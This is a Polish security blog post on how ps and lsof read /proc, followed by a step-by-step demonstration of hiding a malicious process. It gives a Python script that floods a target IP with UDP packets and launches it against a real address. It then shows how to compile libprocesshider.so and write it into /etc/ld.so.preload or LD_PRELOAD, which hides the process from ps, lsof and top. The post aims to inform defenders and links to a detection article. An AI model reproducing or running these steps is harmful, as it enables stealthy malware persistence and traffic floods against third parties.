NFsec Logo

Ukrywanie procesów za pomocą ld.so.preload

07/08/2023 w Bezpieczeństwo Brak komentarzy.  (artykuł nr 868, ilość słów: 1976)

P

odczas wykrywania różnego rodzaju szkodliwych procesów zazwyczaj używamy podstawowych poleceń systemowych, takich jak: ps, lsof oraz netstat (lub jego następcę ss). Dla przypomnienia: ps – wyświetla aktualne procesy w systemie; netstat – wyświetla połączenia sieciowe, tablice routingu i statystyki pakietów; lsof – listuje otwarte deskryptory plików i procesy, które je otworzyły. Polecenia te opierają się na prostej koncepcji (w systemach *nix prawie wszystko jest reprezentowane jako deskryptor pliku: pliki, katalogi, połączenia sieciowe, potoki, zdarzenia itd.) i przydają się w wielu sytuacjach. W rezultacie polecenia te mogą zobaczyć wiele rzeczy i być użyte do odpowiedzi na wiele interesujących pytań.

Na przykład: Jakie połączenia sieciowe ma proces $X? Kto łączy się z określonym punktem końcowym? Które procesy mają otwarte pliki w ścieżce /etc? Odpowiedzi na te i wiele innych pytań jest możliwe dzięki temu, że jądro systemu Linux eksportuje wiele wewnętrznych informacji do pseudo systemu plików /proc, który można przeglądać za pomocą wspomnianych poleceń. Można myśleć o nich jako interfejsach użytkownika dla informacji z /proc. De facto jeśli spojrzymy na zawartość tego katalogu to zobaczymy kilka podkatalogów z liczbą jako nazwą (są to PID), a każdy z tych podkatalogów zawiera szczegóły określonego procesu. Wewnątrz znajduje się między innymi lista deskryptorów plików (ang. File Descriptor – FD – /proc/PID/fd) dla danego procesu; informacje o stanie procesu (/proc/PID/stat); więcej informacji w formacie łatwiejszym do analizy przez ludzi (/proc/PID/status); pełna linia poleceń dla procesu, chyba że jest to proces zombie (/proc/PID/cmdline). Te i inne pliki zawierają wszystkie informacje, które program ps i mu podobne pokazują na wyjściu swojego wywołania:

agresor@darkstar:~$ strace ps x 2>&1 | egrep '(openat|getdents)'
openat(AT_FDCWD, "/proc", O_RDONLY|O_NONBLOCK|O_CLOEXEC|O_DIRECTORY) = 5
getdents64(5, 0x556f98203fe0 /* 202 entries */, 32768) = 5232
...
openat(AT_FDCWD, "/proc/1458/stat", O_RDONLY) = 6
openat(AT_FDCWD, "/proc/1458/status", O_RDONLY) = 6
openat(AT_FDCWD, "/proc/1458/cmdline", O_RDONLY) = 6
getdents64(5, 0x556f98203fe0 /* 0 entries */, 32768) = 0

Ten kawałek przechwycenia wywołań systemowych doskonale pokazuje, jak działa ps: na początku otwierany jest katalog /proc przez wywołanie systemowe openat(). Następnie proces wywołuje getdents() w otwartym katalogu, co jest wywołaniem systemowym zwracającym listę plików / katalogów zawartych w określonym katalogu (tutaj /proc). Warto wiedzieć (co będzie przydatne w dalszej części), że sam program ps nie wywołuje bezpośrednio funkcji openat() i getdents(), ponieważ są to wywołania systemowe, które są abstrakcjami standardowej biblioteki C (libc). Jeśli kiedykolwiek przeczytaliśmy dokumentację libc to wiemy, że biblioteka ta udostępnia dwie różne funkcje: opendir() oraz readdir(), które same zajmują się wykonywaniem wywołań systemowych, zapewniając nieco prostsze API dla programisty. Tak więc te ostatnie są funkcjami wywoływanymi bezpośrednio z ps. Dlatego spoglądać na to wszystko wysokopoziomowo rysuje się nam obraz:

[ lsof  ] ---| poproszę o informacje odnośnie procesu/ów |---> [  /proc  ]
[ /proc ] ---| to są informacje o które prosiłeś |-----------> [  lsof   ]
[ lsof  ] ---| przefiltrowane informacje o które prosiłaś |--> [ konsola ]

Większość z narzędzi linuksowych, których używamy na co dzień w administracji systemem działa dokładnie w ten sam sposób. Można więc o nich pomyśleć jako przyjaznych dla użytkownika interfejsach dla informacji z /proc:

root@stardust:~# lsof -p 799
COMMAND PID USER   FD   TYPE    DEVICE SIZE/OFF   NODE NAME
haveged 799 root  cwd    DIR       8,2     4096      2 /
haveged 799 root  rtd    DIR       8,2     4096      2 /
haveged 799 root  txt    REG       8,5    23144 525321 /usr/sbin/haveged
haveged 799 root  mem    REG       8,2  2029592    452 /lib/x86_64-linux-gnu/libc-2.31.so
haveged 799 root  mem    REG       8,5    96336 394868 /lib/x86_64-linux-gnu/libhavege.so.1
haveged 799 root  mem    REG       8,2   191504    426 /lib/x86_64-linux-gnu/ld-2.31.so
haveged 799 root    0r   CHR       1,3      0t0      6 /dev/null
haveged 799 root    1u  unix 0x0000000      0t0  19955 type=STREAM
haveged 799 root    2u  unix 0x0000000      0t0  19955 type=STREAM
haveged 799 root    3u   CHR       1,8      0t0     17 /dev/random

Skoro już mniej więcej wiemy, jak działa translacja informacji pomiędzy poszczególnymi narzędziami, a informacjami z systemu naszym celem będzie ukrycie prostego, ale złośliwego skryptu napisanego w języku Python. Będzie on obciążać procesor (przynajmniej jeden rdzeń) oraz wysyłać pakiety UDP do wybranej ofiary:

#!/usr/bin/python3

import socket
import sys

def send_traffic(ip, port):
    print(f"Sending burst to {ip} on port: {port}")
    sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
    sock.connect((ip, port))
    while True:
        try:
           sock.send("I AM A BAD BOY".encode('utf-8'))
        except ConnectionRefusedError:
            print(f"Connection refused to: {ip} on port: {port}")

if len(sys.argv) != 3:
    print("Usage: " + sys.argv[0] + " IP PORT")
    sys.exit()

send_traffic(sys.argv[1], int(sys.argv[2]))

Czas na uruchomienie skryptu i sprawdzenie jego działania:

agresor@darkstar:~$ ./evil.py 37.187.104.217 53 > /dev/null 2>&1 &

Potwierdźmy teraz, że proces chodzi w tle i utylizuje przynajmniej jeden rdzeń:

agresor@darkstar:~$ ps ux
USER         PID %CPU %MEM    VSZ   RSS TTY     STAT START   TIME COMMAND
agresor     1358 99.1  0.2  17448  9484 pts/0   R    21:00   9:49 /usr/bin/python3 ./evil.py

Możemy również spojrzeć na połączenia sieciowe otwarte przez proces za pomocą lsof:

agresor@darkstar:~$ lsof -i 4
COMMAND  PID    USER   FD   TYPE DEVICE SIZE/OFF NODE NAME
evil.py 1358 agresor    3u  IPv4  25104      0t0  UDP darkstar:50337->nfsec.pl:domain

Ukrywanie procesu:

Biblioteki w systemie Linux są zbiorem skompilowanych funkcji. Możemy korzystać z tych funkcji w programach bez przepisywania tej funkcjonalności. Osiągamy to najczęściej poprzez włączenie kodu biblioteki do naszego programu (biblioteka statyczna – ang. static library) lub poprzez dynamiczne łączenie w czasie wykonywania (biblioteka współdzielona – ang. shared library). Korzystając z bibliotek statycznych możemy budować samodzielne programy. Z drugiej strony programy zbudowane przy użyciu współdzielonych bibliotek wymagają wsparcia linkera (konsolidatora) / programu ładującego w czasie wykonywania. Powoduje to załadowanie wszystkich wymaganych bibliotek przed wykonaniem programu. Linker posiada jeszcze jedną funkcję zwaną wstępnym ładowaniem (ang. preloading) – dzięki niech mechanizm konsolidatora jest tak uprzejmy, że daje nam możliwość załadowania niestandardowej biblioteki współdzielonej przed załadowaniem innych bibliotek systemowych i tych wymaganych przez program. Oznacza to, że jeśli biblioteka niestandardowa wyeksportuje funkcję pod taką samą sygnaturą jak ta, którą można znaleźć w bibliotece systemowej to jesteśmy dosłownie w stanie zastąpić ją niestandardowym kodem z naszej biblioteki, a wszystkie uruchamiane programy automatycznie wybiorą nasz niestandardowy kod. Dlatego, jeśli napiszemy bibliotekę, która zastępuje wywołanie readdir() biblioteki libc i za każdym razem kiedy zobaczy wybrany proces przefiltruje informacje o nim – będziemy w stanie ukrywać jego aktywność. Przykład takiej biblioteki możemy pobrać z serwisu github. Wystarczy w odpowiedniej linii edytować jaki proces chcemy ukryć:

static const char* process_to_filter = "evil.py";

Kolejnym krokiem jest kompilacja biblioteki i “poproszenie” systemu, aby ładował ją w procesie poprzedzającym inne biblioteki:

agresor@darkstar:~$ gcc -Wall -fPIC -shared -o libprocesshider.so processhider.c -ldl
agresor@darkstar:~$ sudo mv libprocesshider.so /usr/local/lib/
root@darkstar:~# echo /usr/local/lib/libprocesshider.so >> /etc/ld.so.preload

Od tego momentu każdy nowy proces, który zostanie uruchomiony w systemie będzie wykonywał niestandardowy kod z tej biblioteki podczas iteracji przez katalogi /proc za pomocą funkcji readdir(). Wróćmy więc i spróbujmy wykonać ponownie polecenia ps i lsof podczas działania skryptu evil.py:

agresor@darkstar:~$  ps ux
USER         PID %CPU %MEM    VSZ   RSS TTY      STAT START   TIME COMMAND
agresor     1666  0.0  0.0 169360  3788 ?        S    19:53   0:00 (sd-pam)
agresor     1727  0.0  0.1  17320  7988 ?        S    19:53   0:00 sshd: agresor@pts/0
agresor     1728  0.0  0.1   8884  5620 pts/0    Ss   19:53   0:00 -bash
agresor     1777  0.0  0.0  10088  1592 pts/0    R+   20:35   0:00 ps ux

Połączenia sieciowe:

agresor@darkstar:~$ lsof -i 4
agresor@darkstar:~$

Teraz nasz szkodliwy proces jest niewidoczny, nawet gdy polecenia do przeszukiwania procesów są uruchamiane z prawami administratora. Takie narzędzia jak: pstree, top, czy htop również nie pokazują na swojej liście skryptu evil.py. Analogicznie sprawa będzie wyglądała jeśli ustawimy danemu użytkownikowi zmienną LD_PRELOAD:

agresor@darkstar:~$ ./evil.py 37.187.104.217 53 > /dev/null 2<&1 &
[1] 1814
agresor@darkstar:~$ ps xu
USER        PID %CPU %MEM    VSZ   RSS TTY      STAT START   TIME COMMAND
agresor    1666  0.0  0.0 169360  3788 ?        S    19:53   0:00 (sd-pam)
agresor    1727  0.0  0.1  17320  7988 ?        S    19:53   0:00 sshd: agresor@pts/0
agresor    1728  0.0  0.1   9144  5892 pts/0    Ss   19:53   0:00 -bash
agresor    1814  107  0.2  17452  9364 pts/0    R    20:47   0:03 /usr/bin/python3 ./evil.py
agresor    1815  0.0  0.0  10068  1572 pts/0    R+   20:47   0:00 ps xu
agresor@darkstar:~$ export LD_PRELOAD=/usr/local/lib/libprocesshider.so
agresor@darkstar:~$ ps xu
USER         PID %CPU %MEM    VSZ   RSS TTY      STAT START   TIME COMMAND
agresor     1666  0.0  0.0 169360  3788 ?        S    19:53   0:00 (sd-pam)
agresor     1727  0.0  0.1  17320  7988 ?        S    19:53   0:00 sshd: agresor@pts/0
agresor     1728  0.0  0.1   9144  5976 pts/0    Ss   19:53   0:00 -bash
agresor     1863  0.0  0.0  10088  1604 pts/0    R+   20:47   0:00 ps xu

Co ciekawe technika ta jest często stosowana przez różnego rodzaju botnety kopiące kryptowaluty. W artykule wykrywanie ukrytych procesów za pomocą libprocesshider.so został opisany prosty mechanizm na podstawie skryptu w języku python umożliwiający wykrywanie ukrytych procesów za pomocą tej techniki.

Więcej informacji: proc, Sysdig for ps, lsof, netstat + time travel, Hiding Linux processes for fun + profit, Linux Attack Techniques: Dynamic Linker Hijacking with LD Preload

Kategorie K a t e g o r i e : Bezpieczeństwo

Tagi T a g i : , , , , , , , ,

Komentowanie tego wpisu jest zablokowane.